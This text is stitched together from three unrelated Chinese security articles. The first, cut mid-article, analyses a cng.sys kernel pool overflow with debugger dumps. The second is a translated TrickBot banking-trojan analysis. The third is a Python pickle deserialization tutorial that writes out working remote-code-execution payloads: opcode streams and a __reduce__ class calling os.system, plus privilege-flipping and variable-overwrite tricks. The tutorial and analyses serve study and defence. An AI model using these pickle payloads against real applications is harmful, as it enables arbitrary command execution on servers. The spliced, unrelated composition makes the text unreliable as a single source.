对传入缓冲区数据一顿判断（表示很疑惑，为什么对常识性的地址大小进行判断而不是其中的值，防止溢出？？），另外将传入缓冲区得数据起始偏移为4得值拷贝到第三参数a3所在地址，很明显进入while循环后，由于block2之前已经初始化为0，那么循环8次后将a4置为-1，进入goto语句，返回0。
再回到ConfigIoHandler_Safeguarded函数中，接着调用ConfigFunctionIoHandler函数，将刚刚拿到的传入缓冲区地址偏移4处的值（0x10400）作为第一参数，block1地址作为第二参数，传入缓冲区大小InBufferLen作为第三参数，输出缓冲区地址作为第四参数，输出缓冲区大小为第五参数，block2地址作为第六参数。
进入ConfigFunctionIoHandler函数，
第一参数逻辑右移16位，结果为1（0x10000=<a1<0x1FFFF）时，调用ConfigurationFunctionIoHandler函数并传入6参数（注意a1变为两字节）；
结果为2（0x20000=<a1<0x2FFFF）时，调用ResolutionFunctionIoHandler函数并传入前两参数；大于2或者小于0失败C00000AF(STATUS_ILLEGAL_FUNCTION)；等于0则调用RegistrationFunctionIoHandler调用函数并传入前两参数；
我们进入ConfigurationFunctionIoHandler函数，首先映入眼帘的是一个熟悉的函数
IoUnpack_SG_Configuration_ParamBlock，估摸着和IoUnpack_SG_ParamBlock_Header函数有异曲同工之处。
//v7 block2地址
在此函数中，循环后goto语句进入几个子函数
//v17 block1地址
//v15 传入缓冲区大小InBufferLen
//a15为block2地址
这些函数内部的操作，将传入第一参数block1+offset处覆盖为原先值加上起始地址后的值。
eg:block1+10处的值原先为100h，加上起始地址后变为ffffc18e`eae97100，写回原先位置处。
最后进入IoUnpack_SG_Buffer函数，传入Inputbuf
block1+0x10地址，block1地址，缓冲区长度，block2起始地址4参数。经过内存断点调试，我们发现在此函中调用IoUnpack_SG_Buffer函数时，访问了block1+0x50处内存
调试后发现，此函数同样修改了传入的block1+58处内存为值加上起始地址，另外，通过block1中成员大小的各种边界判断之后，将block2+58处的值置为-1，此外，循环
_（block1+50h）即2AAB次，将block2+_
（block1+58h）即block2+1000处开始，均置为-1，即修改了2AAB字节的内存。返回0。最终block1的内存布局如下：
1: kd> dq rdi
ffffc18e`eae97000 00010400`1a2b3c4d 00000000`00000001
ffffc18e`eae97010 ffffc18e`eae97100 00000000`00000003
ffffc18e`eae97020 ffffc18e`eae97200 ffffc18e`eae97300
ffffc18e`eae97030 ffffc18e`eae97400 00000000`00000000
ffffc18e`eae97040 ffffc18e`eae97500 ffffc18e`eae97600
ffffc18e`eae97050 00000000`00002aab ffffc18e`eae98000
ffffc18e`eae97060 00000000`00000000 00000000`00000000
ffffc18e`eae97070 00000000`00000000 00000000`00000000
此函数中对block2内存做修改 ，同时对大量参数使用block1内存进行赋值。注意，a12,即当前的第12参数，拿到了block1+50处的内存值。
并返回0。IoUnpack_SG_Configuration_ParamBlock同样返回0。
后续由于a1由原先的0x10400截断为0x400，调用BCryptSetContextFunctionProperty函数，传入七个参数分别为在IoUnpack_SG_Configuration_ParamBlock做赋值，v14为传入第3参数,被赋值为*（block1+8）
v16为传入第4参数,被赋值为*（block1+10h）
v15为传入第5参数，被赋值为*（block1+18h）
v17为传入第6参数，被赋值为*（block1+20h）
v22为传入第8参数,被赋值为*（block1+30h）
v19为传入第12参数，被赋值为*（block1+50h）
v24为传入第13参数,被赋值为*（block1+58h）
内部v17所处内存即为block1地址，此时block1处内存为
可以看到，与我们刚开始传入缓冲区的略有不同，似乎在某些位置上，原先的值变为加上当前起始地址的结果。
进入 BCryptSetContextFunctionProperty函数，最后两参数分别为 _(block1+50h),以及(_ block1+58h)。
其中调用CfgReg_Acquire尝试打开注册表项System\CurrentControlSet\Control\Cryptography\Configuration\Local
失败，返回error =5。
后续构造三个UnicodeString,巧的是，这里三个UnicodeString的来源，正是block1+100,block1+200,block1+400处的所存储的字符串。
在多次调试发现，后续使用的2AAB正是在调用CfgAdtReportFunctionPropertyOperation前，此时的rsp+3f+38h，正是传入的第六参数（*block1+50h），后续函数会将此处的值取word,传入漏洞函数。
调用CfgAdtReportFunctionPropertyOperation函数，传入四参数(伪代码显示此时传入四参数，这是不准确的，查看汇编，我们可以看到至少传入了10个参数，标记处上方的rsp+48)，而第九参数，为传入的第六参数*（block1+50h）,取低两字节。
进入CfgAdtReportFunctionPropertyOperation
最终将rbp+0x460处的值（传入的第九参数），作为第二参数传入崩溃函数，block1+1000作为第一参数，局部变量UnicodeString传入第三参数，进入CfgAdtpFormatPropertyBlock前：
进入CfgAdtpFormatPropertyBlock函数，六倍edx以后，溢出变为2，申请大小为2，申请到special pool内存block3。
调试后，解释一下整个do…
while循环中的操作，循环次数为2AAB,也就是传进来的a2,通过一个类似与密码表的字符数组，访问a1也就是block1+1000处值，右移4位，作为数组下标，取出单个byte（0x30）,填充申请到的内存block3处（WORD），接着a1++,再与上0xF，作为下标取出单个byte(0x30)，block3++，填充，再block3++,填充一个0x20，依旧当作WORD型。这是一次循环中所做的事情，循环计数器a2—。
一次循环完成后，内存布局如图
第二次循环结束，内存布局，
显然，第三次循环时，当放置0x20时，访问无效内存，系统崩溃。
有效内存覆盖完毕。
后续向下一页写0x20时，系统崩溃。
## 漏洞利用
在野利用配合chrome CVE-2020-15999（FreeType 2库的“
Load_SBit_Png”函数中的堆缓冲区溢出漏洞），进行针对chrome沙箱的逃逸，进而可进行提权或者代码执行。
分析来看，如果后续内存布局得当，计数器的值导致可访问的内存相当可观，但是缺陷是填充的值为密码本中数据，需要精巧的构造才行。时间有限，仅此抛砖引玉，各位内核师傅冲鸭！
## 时间线
2020.10.30 谷歌P0小组披露漏洞。
2020.11.09 本篇漏洞分析完成。
待续…
## 参考链接
[1]Issue 2104: Windows Kernel cng.sys pool-based buffer overflow in IOCTL
0x390400
<https://bugs.chromium.org/p/project-zero/issues/detail?id=2104>
[2]Issue 2104 attachment: cng_ioctl_390400.cpp (2.0 KB)
<https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=472684>
[3]内核池基础知识（池损坏）
<https://saturn35.com/2019/07/23/20190723-3/> | 社区文章 |
# 【木马分析】TrickBot – 银行木马Dyreza的继承者
|
##### 译文声明
本文是翻译文章，文章来源：blog.malwarebytes.com
原文地址：<https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **myswsun**
****](http://bobao.360.cn/member/contribute?uid=2775084127)
**预估稿费：200RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
******
******
**0x00 前言**
最近，分析师[Jérôme
Segura](https://blog.malwarebytes.com/author/jeromesegura/)捕捉到了一个有趣的payload。根据在代码中的字符串信息，作者把它命名为TrickBot（或者TrickLoader）。许多线索暗示这个bot与之前的Dyreza有关。它似乎是被重写的，但是同时包含了很多与我们之前遇到的Dyreza相似的特征。
**0x01 样本**
[f26649fc31ede7594b18f8cd7cdbbc15
](https://virustotal.com/en/file/a4dfd173610d318acb4784645cf5e712d552b51d0c8cf10b2c4414d0486af27d/analysis/)——原始样本，由Rig
Ek散布
[3814abbcd8c8a41665260e4b41af26d4](https://virustotal.com/en/file/6f4bef32e641d361b0039a82eef7784d2fd9fbc3f302d030c332233564ce8c40/analysis/)——中级payload（加载器）
[f24384228fb49f9271762253b0733123](https://virustotal.com/en/file/2c4eab037c37b55780cce28e48d930faa60879045208ae4b64631bb7a2f4cb2a/analysis/)——最终的payload（TrickBot）-32位<-主要分析这个
[10d72baf2c79b29bad1038e09c6ed107](https://virustotal.com/en/file/229d8579a87738d3517ab62a035b967f7f256a2026f565481a174f6a2f837a85/analysis/1476817164/)——64位的加载器
[bd79db0f9f8263a215e527d6627baf2f](https://virustotal.com/en/file/690a2e86a141d890c8ef94587ceb6366c01a8d9c74309606885ed7a784a98c30/analysis/1476817351/)——最终的payload（TrickBot）-64位
TrickBot的模块：
[533b0bdae7f4c8dcd57556a45e1a62c8](https://virustotal.com/en/file/a5725af4391d21a232dc6d4ad33d7d915bd190bdac9b1826b73f364dc5c1aa65/analysis/1477056933/)——systeminfo32.dll
[c5a0a3dba3c3046e446bd940c20b6092](https://virustotal.com/en/file/d461e3801e5c2efe54d202e23d55a3c58a97996c3af59dbefb988a677feb66aa/analysis/1477356071/)——systeminfo64.dll
[90421f8531f963d81cf54245b72cde80](https://virustotal.com/en/file/a5725af4391d21a232dc6d4ad33d7d915bd190bdac9b1826b73f364dc5c1aa65/analysis/1477056933/)——injectDll32.dll
[c90f766020855047c3a8138842266c5a](https://virustotal.com/en/file/0f5daef7bae8b8dd43bd7d1e3122586a2ab67b01a6f611b1469e042508c15438/analysis/1477407966/)——注入到浏览器的dll（32位）
[0b521fd97402c02366184ec413e888cc](https://virustotal.com/en/file/168ab03d2c33ffc8f7409a80ae46dd362713344e6571b48e353185f44a8a5163/analysis/1477356022/)——injectDll64.dll
[5a7459fb0b49a8b28fae507730e2a924](https://virustotal.com/en/file/0fca1dbcaf17e2374618484a5239488a40c428c791aee2903095c8bcb7a784b6/analysis/1477407948/)——注入到浏览器的dll（64位）
其他的payload：
[47d9e7c464927052ca0d22af7ad61f5d](https://virustotal.com/en/file/817109d3ea13fe1e718defe4a16959f64d966404a3dcfbe6b1aa85cffc3da765/analysis/)——下载的样本
[e80ac57a092ffcf2965613c8b3c537c0](https://virustotal.com/en/file/5f13136e195224ae5f7f9dd01a81594ffe37431a4f86cff1b16f04b2d709120c/analysis/)
**0x02 传播途径**
这个payload通过与Rig Exploit Kit有关的恶意广告传播：
**0x03 行为分析**
样本被部署后，TrickBot复制自身文件到目录%APPDATA%并且删除原始文件。它不会改变可执行文件的原始文件名（分析的样本名为“trick.exe“）
首先，我们能看见它释放了两个额外的文件：client_id和group_tag。他们在本地生成，被用来鉴定唯一性和所属活动。两个文件都没有被加密，明文unicode字符串。
Client_id——它包含被攻击的机器名，操作系统版本，随机字符串：
Group_tag:
然后，在同目录，我们看见config.conf文件。这个文件是从C&C服务器下载，并加密存储。
在一段时间后，我们能看见在目录%APPDATA%中创建了一个目录——Modules。这个恶意程序从C&C服务器下载一些模块。他们也被加密存储。在一个特别的会话中，TrickBot下载模块injectDll32和systeminfo32：
特别的模块也有一个相应的文件夹，存储一些配置文件。模式匹配名为[module name]_configs。
当我们通过监控工具（例如ProcessExplorer）观察到恶意程序的执行，我们能发现它创建了两个svchost的进程：
这个bot通过添加任务计划来保持可持续攻击。它在计划任务没有做任何隐藏，还是叫做“Bot”。
如果进程被杀掉，它将通过计划任务自动重启：
**0x04 网络通信**
TrickBot会连接几个服务器，如下：
首先，它连接一个合法的服务器“myexternalip.com”，为了获取IP。
有趣的是它没有伪装自己为合法的浏览器，相反直接用她自己的User Agent：“BotLoader”或“TrickLoader”。
大部分与C&C服务器的通信是SSL加密的。下面你能看见向C&C服务器发送一个命令的例子：
看这个POST请求的url，我们注意到group_id和client_id和上述文件是一样的。然后接着命令。这个是Dyreza的典型特征。
这个bot通过明文通信下载其他的payload（在一个特殊的会话中：[47d9e7c464927052ca0d22af7ad61f5d](https://virustotal.com/en/file/817109d3ea13fe1e718defe4a16959f64d966404a3dcfbe6b1aa85cffc3da765/analysis/)）。
C&C服务器被部署在无线路由器（如MikroTik）上面。这个也是之前Dyreza的架构。
下面是用HTTPs证书的例子——正如我们所见，用到的数据是完全随机的，甚至不是模仿合法的名字。
**0x05 核心**
TrickBot有多层架构。通常，第一层用来自保护——它携带加密的payload并且躲避AV检测。
**Loader**
第二层是主要的bot加载器，选择运行32位的或者64位的payload。新的PE文件被加密存储在资源。然而作者没有试图隐藏特殊的资源元素，看资源名就能猜出他们的目的是什么：
在执行中选择解密的模块。
在开始，程序获取受害者操作系统的信息，为了下面选取适当的方式：
根据环境，合适的payload从资源释放，通过简单的算法解密。
解密方法和之前的一个Dyreza不同——然而方法是类似的。
完全解码脚本：[https://github.com/hasherezade/malware_analysis/blob/master/trickbot/trick_decoder.py](https://github.com/hasherezade/malware_analysis/blob/master/trickbot/trick_decoder.py)
然后，未解压的bot被映射到内存中。
32位的bot在它自己的内存中映射新的模块：
然后重定向执行：
新模块的入口点（TrickBot的核心）：
在64位的payload中，64位的PE加载器被解压运行，然后再加载核心恶意代码。
与Dyreza的主要模块是DLL相比，TrickBot主要用EXE。
TickBot内部结构
这个bot用C++编写。它有两个资源：存储加密的配置文件，KEY-存储椭圆曲线密钥：
这个恶意程序是非常冗长的，但有意义的名称在每个阶段都能被发现。
这个“TrickBot”名字也出现在全局互斥量（“Global\TrickBot”）中，互斥量确保单一实例：
首先执行，TrickBot拷贝自身到新的目录（%APPDATA%）并以原始文件全路径为参数启动新的路径下的样本，原始文件需要被删除：
在计划任务管理器中添加计划任务：
设置出发事件：
我们能发现日期2016-01-01 00:00:00，可能说明这个是新写的。
**TrickBot的命令行**
TrickBot与C&C服务器通信并且发送一些命令（类似于之前的Dyreza的格式）。下面是TrickBot命令的格式：
比较Dyreza的命令格式：
TrickBot的命令行的ID是被硬编码在格式化字符串中的。因此，他们都可以用同一个函数，获取命令行ID：
在填充完格式化的字符串后，把他们发送给C&C服务器，bot校验HTTP的响应值。如果返回码不同于200（OK），403（Forbidder），404（Not
Found），那么重试。
完整命令行ID列表：
每个命令行有相同的前缀——group_id，client_id，格式如下：
样本URL：
**加密方式**
TrickBot用选择使用两种加密算法：AES和ECC。
下载的模块和配置文件是用CBC模式的AES加密算法加密的。这个AES密钥和初始化向量用自定义的算法从数据取得。首先，32字节的输入数据用SHA256计算hash。然后哈希结果被追加到数据后面再次哈希。这个步骤被重复，直到数据大小达到4096字节为止。因此哈希操作重复128次。下面是相关代码片段：
首先的32字节长的数据块被用来作为获取AES密钥的初始值：
并且从16到48字节的数据用来作为获取AES初始化向量的初始值：
比较CONFIG的内容（注意一个事实，第一个DWORD值是大小，不作为数据）：
完整解密脚本：
[https://github.com/hasherezade/malware_analysis/blob/master/trickbot/trick_config_decoder.py](https://github.com/hasherezade/malware_analysis/blob/master/trickbot/trick_config_decoder.py)
用AES解密硬编码的配置：
如果特殊的输入不能被AES解密，那将试图使用ECC解密：
**TrickBot的配置文件**
与Dureza相似，TrickBot用加密存储的配置文件。
TrickBot先从硬编码的配置文件获取执行，在执行期间从C&C服务器下载更新配置文件的版本，并保存在config.conf。一个解密的配置文件如下：
比较一个下载后的版本：
注意到模块名字（systeminfo，injectDll）与配置文件中是一致的，这些模块存储在Modules文件夹下。这个配置文件给bot指令，让它下载一个元素。
从配置文件其他部分可以看见一些请求结果。
**模块**
TrickBot是一个可持续运行的程序，但是主要功能在各个模块当中，这些模块动态从C&C服务器去取。在分析中，下载了两个模块。
Getsysinfo——被用于手机系统信息
injectDll——注入指定的浏览器为了盗取证书
被硬编码在injectDLL32.dll模块中的浏览器如下：
在Dyreza中，这个攻击直接在主模块中执行，而不是在额外的dll中。
攻击目标的细节信息存储在额外的配置文件（ModulesinjectDll32_config）中。下面是解密配置文件中的被攻击的在线银行系统信息：
运行的svchost.exe被用来部署特殊的模块。
如下——injectDll（标记sinj）在svchost中：
Systeminfo（标记为GetSystemInfo）在另一个svchost实例中：
**0x06 总结**
TrickBot有许多和Dyreza相似的地方，比如代码设计、通信协议。因此比较所有代码暗示了它是重写的。
到目前为止，TrickBot没有足够多的特征和Dyreza一样。可能是作者决定让主程序轻量点，同时专注于用下载模块的方式动态扩展。这个表明它不会是最后一个版本。
有一件事是可以肯定的，它是由专业人士编写的有趣的东西。它将变得与Dyreza一样越来越流行的可能性很高。 | 社区文章 |
# python pickle 反序列化总结
### pickle 基础
pickle 是一种栈语言，有不同的编写方式，基于一个轻量的 PVM（Pickle Virtual Machine）。
> * 指令处理器
>
> 从流中读取 opcode 和参数，并对其进行解释处理。重复这个动作，直到遇到 . 这个结束符后停止。最终留在栈顶的值将被作为反序列化对象返回。
>
> * stack
>
> 由 Python 的 list 实现，被用来临时存储数据、参数以及对象。
>
> * memo
>
> 由 Python 的 dict 实现，为 PVM 的整个生命周期提供存储。
>
>
**类似于我们在 PHP 中的 serialize 和 unserialize，如果 unserialize 的输入可控我们就可能可以进行恶意的攻击。**
python 提供了 **pickle 和 cPickle 两个库** 来进行 pickle 反序列化的支持。
#### 能够被序列化的内容
下列类型可以被打包，都是有自己的指令码的，可以对照一下下面的指令集：
* None、True 和 False
* 整数、浮点数、复数
* str、byte、bytearray
* 只包含可打包对象的集合，包括 tuple、list、set 和 dict
* 定义在模块顶层的函数（使用 def 定义，lambda 函数则不可以）
* 定义在模块顶层的内置函数
* 定义在模块顶层的类
* 某些类实例，这些类的 **dict** 属性值或 `__getstate__()` 函数的返回值可以被打包（详情参阅 [打包类实例](https://docs.python.org/zh-cn/3.7/library/pickle.html#pickle-inst) 这一段）。
#### 数据流格式
pickle 所使用的数据格式仅可用于 Python。这样做的好处是没有外部标准给该格式强加限制，比如 JSON 或
XDR（不能表示共享指针）标准；但这也意味着非 Python 程序可能无法重新读取 pickle 封存的 Python 对象。
默认情况下，pickle 格式使用相对紧凑的二进制来存储。如果需要让文件更小，可以高效地 压缩 由 pickle 封存的数据。
pickletools 模块包含了相应的工具用于分析 pickle 生成的数据流。pickletools 源码中包含了对 pickle
协议使用的操作码的大量注释。
当前共有 6 种不同的协议可用于封存操作。 使用的协议版本越高，读取所生成 pickle 对象所需的 Python 版本就要越新。
* v0 版协议是原始的“人类可读”协议，并且向后兼容早期版本的 Python。
* v1 版协议是较早的二进制格式，它也与早期版本的 Python 兼容。
* 第 2 版协议是在 Python 2.3 中引入的。 它为 [新式类](https://docs.python.org/zh-cn/3/glossary.html#term-new-style-class) 提供了更高效的封存机制。 请参考 [**PEP 307**](https://www.python.org/dev/peps/pep-0307) 了解第 2 版协议带来的改进的相关信息。
* v3 版协议是在 Python 3.0 中引入的。 它显式地支持 [`<span class="pre">bytes</span>`](https://docs.python.org/zh-cn/3/library/stdtypes.html#bytes "bytes") 字节对象，不能使用 Python 2.x 解封。这是 Python 3.0-3.7 的默认协议。
* v4 版协议添加于 Python 3.4。它支持存储非常大的对象，能存储更多种类的对象，还包括一些针对数据格式的优化。它是Python 3.8使用的默认协议。有关第 4 版协议带来改进的信息，请参阅 [**PEP 3154**](https://www.python.org/dev/peps/pep-3154)。
* 第 5 版协议是在 Python 3.8 中加入的。 它增加了对带外数据的支持，并可加速带内数据处理。 请参阅 [**PEP 574**](https://www.python.org/dev/peps/pep-0574) 了解第 5 版协议所带来的改进的详情。
#### 常用方法接口
pickle.dump(obj, file, protocol=None, *, fix_imports=True)
将打包好的对象 obj **写入文件** 中，其中 protocol 为 pickling 的协议版本（下同）。
pickle.dumps(obj, protocol=None, *, fix_imports=True)
将 obj 打包以后的对象作为 bytes 类型直接返回。
pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict")
从 **文件** 中读取二进制字节流，将其反序列化为一个对象并返回。
pickle.loads(data, *, fix_imports=True, encoding="ASCII", errors="strict")
从 **data** 中读取二进制字节流，将其反序列化为一个对象并返回。
object.__reduce__()
`__reduce__()` 其实是 `object`类中的一个魔术方法，我们可以通过重写类的 `object.__reduce__()`
函数，使之在被实例化时按照重写的方式进行。
Python 要求该方法返回一个 **字符串或者元组** 。如果返回元组`(callable, ([para1,para2...])[,...])`
，那么每当该类的对象被反序列化时，该 callable 就会被调用，参数为`para1`、`para2` ... 后面再详细解释
#### 指令集 opcode
MARK = b'(' # push special markobject on stack
STOP = b'.' # every pickle ends with STOP
POP = b'0' # discard topmost stack item
POP_MARK = b'1' # discard stack top through topmost markobject
DUP = b'2' # duplicate top stack item
FLOAT = b'F' # push float object; decimal string argument
INT = b'I' # push integer or bool; decimal string argument
BININT = b'J' # push four-byte signed int
BININT1 = b'K' # push 1-byte unsigned int
LONG = b'L' # push long; decimal string argument
BININT2 = b'M' # push 2-byte unsigned int
NONE = b'N' # push None
PERSID = b'P' # push persistent object; id is taken from string arg
BINPERSID = b'Q' # " " " ; " " " " stack
REDUCE = b'R' # apply callable to argtuple, both on stack
STRING = b'S' # push string; NL-terminated string argument
BINSTRING = b'T' # push string; counted binary string argument
SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes
UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE = b'X' # " " " ; counted UTF-8 string argument
APPEND = b'a' # append stack top to list below it
BUILD = b'b' # call __setstate__ or __dict__.update()
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args
DICT = b'd' # build a dict from stack items
EMPTY_DICT = b'}' # push empty dict
APPENDS = b'e' # extend list on stack by topmost stack slice
GET = b'g' # push item from memo on stack; index is string arg
BINGET = b'h' # " " " " " " ; " " 1-byte arg
INST = b'i' # build & push class instance
LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg
LIST = b'l' # build list from topmost stack items
EMPTY_LIST = b']' # push empty list
OBJ = b'o' # build & push class instance
PUT = b'p' # store stack top in memo; index is string arg
BINPUT = b'q' # " " " " " ; " " 1-byte arg
LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg
SETITEM = b's' # add key+value pair to dict
TUPLE = b't' # build tuple from topmost stack items
EMPTY_TUPLE = b')' # push empty tuple
SETITEMS = b'u' # modify dict by adding topmost key+value pairs
BINFLOAT = b'G' # push float; arg is 8-byte float encoding
TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py
FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py
# Protocol 2
PROTO = b'\x80' # identify pickle protocol
NEWOBJ = b'\x81' # build object by applying cls.__new__ to argtuple
EXT1 = b'\x82' # push object from extension registry; 1-byte index
EXT2 = b'\x83' # ditto, but 2-byte index
EXT4 = b'\x84' # ditto, but 4-byte index
TUPLE1 = b'\x85' # build 1-tuple from stack top
TUPLE2 = b'\x86' # build 2-tuple from two topmost stack items
TUPLE3 = b'\x87' # build 3-tuple from three topmost stack items
NEWTRUE = b'\x88' # push True
NEWFALSE = b'\x89' # push False
LONG1 = b'\x8a' # push long from < 256 bytes
LONG4 = b'\x8b' # push really big long
_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]
# Protocol 3 (Python 3.x)
BINBYTES = b'B' # push bytes; counted binary string argument
SHORT_BINBYTES = b'C' # " " ; " " " " < 256 bytes
# Protocol 4
SHORT_BINUNICODE = b'\x8c' # push short string; UTF-8 length < 256 bytes
BINUNICODE8 = b'\x8d' # push very long string
BINBYTES8 = b'\x8e' # push very long bytes string
EMPTY_SET = b'\x8f' # push empty set on the stack
ADDITEMS = b'\x90' # modify set by adding topmost stack items
FROZENSET = b'\x91' # build frozenset from topmost stack items
NEWOBJ_EX = b'\x92' # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL = b'\x93' # same as GLOBAL but using names on the stacks
MEMOIZE = b'\x94' # store top of the stack in memo
FRAME = b'\x95' # indicate the beginning of a new frame
# Protocol 5
BYTEARRAY8 = b'\x96' # push bytearray
NEXT_BUFFER = b'\x97' # push next out-of-band buffer
READONLY_BUFFER = b'\x98' # make top of stack readonly
#### opcode demo
##### demo
序列化、反序列化的背后通常都是面向对象编程的大概念，我们可以简单写一个类，看一下它的 pickle 序列化的内容
import pickle
class Person(): #类名
def __init__(self):
self.age=18 #属性
self.name="Pickle"
p=Person()
opcode=pickle.dumps(p)
print(opcode)
# b'\x80\x03c__main__\nPerson\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03K\x12X\x04\x00\x00\x00nameq\x04X\x06\x00\x00\x00Pickleq\x05ub.'
我们的序列化内容是一串基于上面提到的操作码的 bytes，我们可以利用 pickletools 将这里的 opcode 转化成我们更易读的形式
import opcode
import pickletools
opcode = b'\x80\x03c__main__\nPerson\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03K\x12X\x04\x00\x00\x00nameq\x04X\x06\x00\x00\x00Pickleq\x05ub.'
pickletools.dis(opcode)
'''
0: \x80 PROTO 3
2: c GLOBAL '__main__ Person'
19: q BINPUT 0
21: ) EMPTY_TUPLE
22: \x81 NEWOBJ
23: q BINPUT 1
25: } EMPTY_DICT
26: q BINPUT 2
28: ( MARK
29: X BINUNICODE 'age'
37: q BINPUT 3
39: K BININT1 18
41: X BINUNICODE 'name'
50: q BINPUT 4
52: X BINUNICODE 'Pickle'
63: q BINPUT 5
65: u SETITEMS (MARK at 28)
66: b BUILD
67: . STOP
highest protocol among opcodes = 2
'''
对照上面的操作码表还是很容易看懂的
##### Pker
<https://github.com/EddieIvan01/pker> 也可以使用这个工具来生成，在后续部分操作码被限制的时候某些情况下还是很好用的
### 漏洞产生原因
用户可控的反序列化入口点。
### 漏洞利用
在能够传入可控的 pickle.loads 的 data 的大前提下，我们就可以构想出以下几种攻击场景。
#### 操控实例化对象的属性
假设有如下内容限制用户权限：
import pickle
class User:
def __init__(self,admin,guest):
self.admin=admin
self.guest=guest
假设正常我们以访客登录时会传入如下 pickle 序列化内容
import pickle
class User:
def __init__(self):
self.admin=False
self.guest=True
u = User()
print(pickle.dumps(u))
# b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00adminq\x03\x89X\x05\x00\x00\x00guestq\x04\x88ub.'
'''
0: \x80 PROTO 3
2: c GLOBAL '__main__ User'
17: q BINPUT 0
19: ) EMPTY_TUPLE
20: \x81 NEWOBJ
21: q BINPUT 1
23: } EMPTY_DICT
24: q BINPUT 2
26: ( MARK
27: X BINUNICODE 'admin'
37: q BINPUT 3
39: \x89 NEWFALSE
40: X BINUNICODE 'guest'
50: q BINPUT 4
52: \x88 NEWTRUE
53: u SETITEMS (MARK at 26)
54: b BUILD
55: . STOP
highest protocol among opcodes = 2
'''
那么我们对登陆时的 `\x89` `\x88` 进行调换，即可得到如下实例化结果：
import opcode
import pickle
import pickletools
class User:
def __init__(self,admin,guest):
self.admin=admin
self.guest=guest
opcode = b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00adminq\x03\x88X\x05\x00\x00\x00guestq\x04\x89ub.'
#pickletools.dis(opcode)
fakeUser = pickle.loads(opcode)
print(fakeUser.admin,fakeUser.guest)
# True False
#### 变量覆盖
我们也可以直接进行变量覆盖，示例
import pickle
import secret
print("secret:"+secret.secret)
opcode=b'''c__main__
secret
(S'secret'
S'Hacker!!!'
db.'''
fake=pickle.loads(opcode)
print("fakesecret:"+fake.secret)
#secret:sp4c1ous
#fakesecret:Hacker!!!
用到的 opcode：
opcode=b'''c__main__
secret
(S'secret' # secret 内的 secret 属性
S'Hacker!!!' # 指定要替换的内容
db.''' # d创建空的dict然后 b 取前一个 Hacker!!! 进行update 这里的具体解释可以看到下面的 b 绕过 R 的部分
#### RCE
在攻击中我们的目的肯定最终是利用序列化的内容实现我们想要实现的操作，这里以RCE为例进行介绍，基本的构造如下：
c<module>
<callable>
(<args>
tR
填充上内容也就是：
cos
system #引入 os 模块的 system 方法，这里实际上是一步将函数添加到 stack 的操作
(S'ls' # 把当前 stack 存到 metastack，清空 stack，再将 'ls' 压入 stack
tR. # t 也就是将 stack 中的值弹出并转为 tuple，把 metastack 还原到 stack，再将 tuple 压入 stack
# R 的内容就成为了 system(*('ls',)) ，然后 . 代表结束，返回当前栈顶元素
<=> __import__('os').system(*('ls',))
这样就是一个最基础的 getshell 的构造，这里要回去看一下指令集，看一下这里用到的几种指令码。
其中 c 操作码指向的实际上是一个 `self.find_class(modname, name);` 可以在源码中找到
def find_class(self, module, name):
# Subclasses may override this.
if self.proto < 3 and self.fix_imports:
if (module, name) in _compat_pickle.NAME_MAPPING:
module, name = _compat_pickle.NAME_MAPPING[(module, name)]
elif module in _compat_pickle.IMPORT_MAPPING:
module = _compat_pickle.IMPORT_MAPPING[module]
__import__(module, level=0)
if self.proto >= 4:
return _getattribute(sys.modules[module], name)[0]
else:
return getattr(sys.modules[module], name)
可以在 `load_global` 中看到具体的实现，其中的 getattr 是通过 sys.modules
获取变量名的或者模块的，`sys.modules`是一个全局字典，我们可以从其中 get 到我们想要的属性，只要 python 启动 sys.modules
就会将模块导入字典中。
import sys
import secret
print(getattr(sys.modules['__main__'],'secret'))
# <module 'secret' from 'c:\\Users\\sp4c1ous\\Desktop\\secret.py'>
这样的 opcode 被我们 pickle.loads 的话就会导致 RCE
我们还可以重写类的 `object.__reduce__()` 函数，使之在被实例化时按照重写的方式进行，对应opcode当中的R指令
import pickle
import os
class Test(object):
def __reduce__(self):
return (os.system,('calc',))
print(pickle.dumps(Test(), protocol=0))
# b'cnt\nsystem\np0\n(Vcalc\np1\ntp2\nRp3\n.'
利用 pickle 的 `__reduce__` 可以直接用它的操作模式实现我们上面手搓的
`__import__('os').system(*('ls',))` 的构造。（ 缺点：只能执行单一的函数，很难构造复杂的操作 ）
但是这种指令码在现在的 CTF 中已经很难生效了，通常都会对指令码进行过滤，需要我们结合对整个过程的理解来进行绕过。
在pickle中，和函数执行的字节码有三个：`R`、`i`、`o`，`R` 已经说过了，我们具体再看看 `i` 和 `o`
* `i` 其实就相当于 c 和 o 的组合，先获取一个全局函数，然后寻找栈中的上一个MARK，并组合之间的数据为元组，以该元组为参数执行全局函数（或实例化一个对象）
INST = b'i' # build & push class instance
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args
OBJ = b'o' # build & push class instance
示例：
`python opcode=b'''(S'calc' ios system .'''`
* `o`：寻找栈中的上一个MARK，以之间的第一个数据（必须为函数）为callable，第二个到第n个数据为参数，执行该函数（或实例化一个对象）
`python opcode=b'''(cos system S'calc' o.'''`
>
> 注意：部分Linux系统下和Windows下的opcode字节流并不兼容，比如Windows下执行系统命令函数为`os.system()`，在部分Linux下则为`posix.system()`
同时，我们可以发现`pickle.loads` 是可以自动 import 的，这一点为我们的攻击提供了方便。
##### 攻击情景
